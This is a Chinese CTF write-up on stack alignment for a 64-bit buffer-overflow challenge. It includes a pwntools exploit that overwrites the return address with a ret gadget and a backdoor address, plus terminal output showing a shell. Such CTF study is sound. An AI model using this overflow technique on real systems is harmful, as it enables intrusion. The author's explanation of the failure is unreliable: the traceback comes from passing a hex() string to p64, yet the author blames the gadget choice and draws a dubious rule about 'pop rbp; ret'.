ret地址学习
NewStarCTFweek2-ez_game中出现了栈对齐相关知识点,所以特地前来学习,本篇主要为调试记录,由于远程非常轻易就可打通,故重点关注于本地打通
使用 ret_addr = hex(next(elf.search(asm('ret'))))
寻找汇编指令ret(n)的地址
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# cat test.py
from pwn import *
io = process('./pwn')
elf = ELF('./pwn')
ret_addr = hex(next(elf.search(asm('ret'))))
print(ret_addr)
查找结果:
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 336505
[*] '/root/Desktop/Adworld XCTF/level0/pwn'
...
0x400431 #找到的地址为0x400431
把找到的地址放入构造的payload中
ret_addr = hex(next(elf.search(asm('ret'))))
payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)
运行,报错
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 337233
[*] '/root/Desktop/Adworld XCTF/level0/pwn'Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)Stripped: No
Traceback (most recent call last):File "/root/Desktop/Adworld XCTF/level0/1.py", line 8, in <module>payload = b'a' * 136 + p64(ret_addr) + p64(backdoor_addr)^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/context/__init__.py", line 1601, in setterreturn function(*a, **kw)^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 422, in p64return _do_packing('p', 64, number)^^^^^^^^^^^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 347, in _do_packingreturn {("little", True ): ls,^^^^^^^^^^^^^^^^^^^^^^^^File "/usr/lib/python3/dist-packages/pwnlib/util/packing.py", line 321, in routinereturn struct_op(data)^^^^^^^^^^^^^^^
struct.error: required argument is not an integer
[*] Stopped process './pwn' (pid 337233)
在IDA中使用 Alt + T 查找ret,发现存在多条ret(n)汇编指令
尝试把原来使用elf.search()找到的0x400431 ret指令的地址替换为0x4005a5
payload = b'a' * 136 + p64(0x4005a5) + p64(backdoor_addr)
重新运行脚本,本地打通
┌──(root㉿kali)-[~/Desktop/Adworld XCTF/level0]
└─# python3 test.py
[+] Starting local process './pwn': pid 361884
[*] '/root/Desktop/Adworld XCTF/level0/pwn'Arch: amd64-64-littleRELRO: No RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)Stripped: No
0x400431
[*] Switching to interactive mode
$ ls
core.327566 core.336505 pwn test.py
$
[*] Interrupted
[*] Stopped process './pwn' (pid 361884)
通过尝试使用地址0x400549(另外一个ret指令地址)也可以打通,分析后发现规律,只有在ret指令前面有pop rbp指令的ret地址(即pop rbp;ret;)才可以用于栈对齐。
由于一个程序中通常存在多条ret指令,故使用elf.search()函数寻找的ret地址不一定就可用于构造payload,并且通过本题还可以发现,其寻找的结果为这些地址中的较低地址,即由低地址向高地址寻找,找到即返回结果(和IDA寻找的方式很相似呢)
exp
from pwn import *io = process('./pwn')
#io = remote(ip, port)
elf = ELF('./pwn')
io.recvuntil(b"World\n")
backdoor_addr = 0x400596
#ret_addr = hex(next(elf.search(asm('ret')))) #使用此函数寻找的ret地址无效
payload = b'a' * 136 + p64(0x400549)+ p64(backdoor_addr)
#print(ret_addr)
io.sendline(payload)
io.interactive()
文章参考:栈对齐—获取shell前的临门一脚